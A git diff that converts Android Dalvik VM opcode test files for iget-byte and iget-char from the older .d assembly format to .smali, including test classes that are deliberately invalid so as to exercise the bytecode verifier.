diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d
deleted file mode 100644
index a9df70b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_7.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_7no_class.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali
new file mode 100644
index 0000000..8532061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_7.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d
deleted file mode 100644
index de3b7a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_8.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_8.i1N B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali
new file mode 100644
index 0000000..9cb72b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_8.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;->i1N:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d
deleted file mode 100644
index 96eee86..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_9.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_9
-.super java/lang/Object
-
-.field public i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       const v0, 0
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_9.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali
new file mode 100644
index 0000000..dcde340
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_9.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       const v0, 0
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d
deleted file mode 100644
index 837dd6b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_1.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_1
-.super java/lang/Object
-
-.field public  i1 C
-.field protected  p1 C
-.field private  pvt1 C
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.i1 C
-
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.p1 C
-
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.pvt1 C
-       
-       
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali
new file mode 100644
index 0000000..5c18b32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_1.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+.field protected  p1:C
+.field private  pvt1:C
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       
+       
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d
deleted file mode 100644
index 9d74992..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_11.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_11
-.super dot/junit/opcodes/iget_char/d/T_iget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/d/T_iget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.p1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali
new file mode 100644
index 0000000..500ed0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_11.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_11;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d
deleted file mode 100644
index 5194ff9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_12.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_12
-.super dot/junit/opcodes/iget_char/d/T_iget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/d/T_iget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.pvt1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali
new file mode 100644
index 0000000..f7e4754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_12.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_12;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d
deleted file mode 100644
index a7f5e58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_13.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_13.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali
new file mode 100644
index 0000000..e4356bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_13.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_13;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali
new file mode 100644
index 0000000..beeeec0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_char/d/T_iget_char_14;
+.super Ljava/lang/Object;
+.source "T_iget_char_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-char v0, p0, Ldot/junit/opcodes/iget_char/d/T_iget_char_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d
deleted file mode 100644
index e8c7195..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_15.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali
new file mode 100644
index 0000000..dcba0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_15.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d
deleted file mode 100644
index 34dbaf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_16.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali
new file mode 100644
index 0000000..da83e9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_16.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d
deleted file mode 100644
index cde1b06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_17.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali
new file mode 100644
index 0000000..b99125a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_17.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d
deleted file mode 100644
index f32f364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_18.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali
new file mode 100644
index 0000000..ca933e4
--- /dev/null
